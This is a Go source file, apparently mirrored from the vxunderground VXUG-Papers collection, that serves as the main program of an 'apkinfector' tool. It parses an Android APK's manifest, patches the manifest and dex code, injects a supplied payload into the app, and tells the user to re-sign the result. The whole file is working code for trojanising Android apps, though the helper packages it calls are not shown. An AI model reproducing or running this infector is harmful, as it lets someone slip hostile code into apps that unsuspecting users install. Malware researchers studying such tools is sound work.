mirror of
https://github.com/vxunderground/VXUG-Papers.git
synced 2024-07-03 00:33:31 +00:00
56 lines
1.1 KiB
Go
56 lines
1.1 KiB
Go
// author: Thatskriptkid (www.orderofsixangles.com)
|
|
// You can use my kaitai struct for binary manifest.
|
|
// https://github.com/thatskriptkid/Kaitai-Struct-Android-Manifest-binary-XML
|
|
|
|
package main
|
|
|
|
import (
|
|
"common"
|
|
mydex "dex"
|
|
"encoding/xml"
|
|
"fmt"
|
|
"log"
|
|
"manifest"
|
|
"os"
|
|
)
|
|
|
|
func main() {
|
|
|
|
//setup logging
|
|
logFile, err := os.OpenFile("apkinfector.log", os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0644)
|
|
if err != nil {
|
|
log.Fatal(err)
|
|
}
|
|
|
|
defer logFile.Close()
|
|
|
|
log.SetOutput(logFile)
|
|
|
|
manifestPlainFile, err := os.Create(manifest.PlainPath) // create/truncate the file
|
|
if err != nil {
|
|
log.Panic("Failed to create AndroidManifest plaintext", err)
|
|
}
|
|
|
|
enc := xml.NewEncoder(manifestPlainFile)
|
|
|
|
enc.Indent("", "\t")
|
|
|
|
fmt.Println("Parsing APK...")
|
|
manifest.ParseApk(os.Args[1], enc)
|
|
|
|
//close before reading
|
|
manifestPlainFile.Close()
|
|
|
|
fmt.Println("Patching APK")
|
|
fmt.Println("\t--Patching manifest...")
|
|
manifest.Patch()
|
|
|
|
fmt.Println("\t--Patching dex...")
|
|
mydex.Patch()
|
|
|
|
fmt.Println("Injecting...")
|
|
common.Inject(os.Args[1], os.Args[2])
|
|
|
|
fmt.Println("Done! Now you should sign your apk")
|
|
}
|